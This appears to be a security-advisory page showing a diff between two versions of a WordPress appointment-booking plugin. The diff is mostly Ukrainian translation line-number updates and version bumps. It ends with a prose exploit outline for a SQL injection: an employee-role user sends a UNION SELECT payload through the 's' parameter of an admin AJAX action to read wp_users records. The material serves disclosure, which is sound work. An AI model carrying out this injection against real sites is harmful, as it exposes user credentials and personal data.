-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr "iDEAL"
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr "Giropay"
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr "SEPA Direct Debit"
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr "SOFORT"
 
@@ -5539,10 +5529,10 @@
 msgstr "Редагувати бронювання"
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr "Здійснення бронювання..."
 
@@ -6255,168 +6245,168 @@
 msgstr "Грудень"
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr "Номер телефону недійсний."
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr "Ви будете перенаправлені на безпечну сторінку для завершення оплати."
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr "Проміжний підсумок"
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr "Купон: %s"
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr "Загалом"
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr "Завдаток"
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr "Оплатити зараз"
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr "Пустий код купону."
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr "Купон було успішно застосовано."
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr "На жаль, ваше бронювання не підходить для цього купона."
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr "Надаючи ваш IBAN та підтверджуючи цей платіж, ви авторизуєте (A) %s та Stripe, нашого провайдера онлайн-платежів, надіслати розпорядження вашому банку списати з вашого рахунку і (B) ваш банк спише з вашого рахунку у відповідності до цього розпорядження. Ви маєте право на повернення коштів від вашого банку відповідно до правил та умов угоди з вашим банком. Запит на повернення має бути зроблено протягом 8 тижнів від дати списання з вашого рахунку."
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr "Кредитна або дебетова картка"
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr "або"
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr "Обрати iDEAL Bank"
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr "IBAN"
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr "Способи оплати"
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr "Картка"
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr "Вибачте, але ми не змогли виділити час на вибрану вами дату."
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr "На жаль, немає послуг, працівників чи місцезнаходжень для бронювання."
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr "Щоб увімкнути цю опцію, вам потрібно встановити прапорець \"%s\"."
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6426,19 +6416,19 @@
 msgid "Colors"
 msgstr "Кольори"
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr "бронювання"
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/motopress-appointment.php /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/motopress-appointment.php
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/motopress-appointment.php	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/motopress-appointment.php	2026-06-30 15:16:08.000000000 +0000
@@ -3,7 +3,7 @@
  * Plugin Name: Appointment Booking Lite
  * Plugin URI: https://motopress.com/products/appointment-booking/
  * Description: MotoPress Appointment Booking makes it easy for time and service-based businesses to accept bookings and appointments online.
- * Version: 2.4.5
+ * Version: 2.4.6
  * Requires at least: 5.3
  * Requires PHP: 7.4
  * Author: MotoPress
@@ -19,7 +19,7 @@
 
 if ( ! defined( 'MotoPress\Appointment\VERSION' ) ) {
 
-	define( 'MotoPress\Appointment\VERSION', '2.4.5' );
+	define( 'MotoPress\Appointment\VERSION', '2.4.6' );
 	define( 'MotoPress\Appointment\PLUGIN_FILE', __FILE__ );
 
 	require 'includes/defines.php';
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/readme.txt /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/readme.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/readme.txt	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/readme.txt	2026-06-30 15:16:08.000000000 +0000
@@ -5,7 +5,7 @@
 Requires at least: 5.3
 Tested up to: 6.9
 Requires PHP: 7.4
-Stable tag: 2.4.5
+Stable tag: 2.4.6
 License: GPLv2 or later
 License URI: http://www.gnu.org/licenses/gpl-2.0.html
 
@@ -315,6 +315,9 @@
 
 == Changelog ==
 
+= 2.4.6, Jul 1 2026 =
+* Fixed booking edit page nonce script error and improved security of admin booking search queries.
+
 = 2.4.5, Jun 23 2026 =
 * Security: Enhanced permission validation when reading bookings.
 

Exploit Outline

Exploitation requires authentication with the 'mpa_appointment_employee' role. The attacker identifies the AJAX nonce from the 'mpa_admin_data' object on an administrative page and then sends a POST request to '/wp-admin/admin-ajax.php'. The request uses a vulnerable action (e.g., 'mpa_get_customers') and passes a SQL injection payload via the 's' parameter. A UNION SELECT payload can then be used to retrieve sensitive records from the 'wp_users' table, which are returned in the AJAX response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.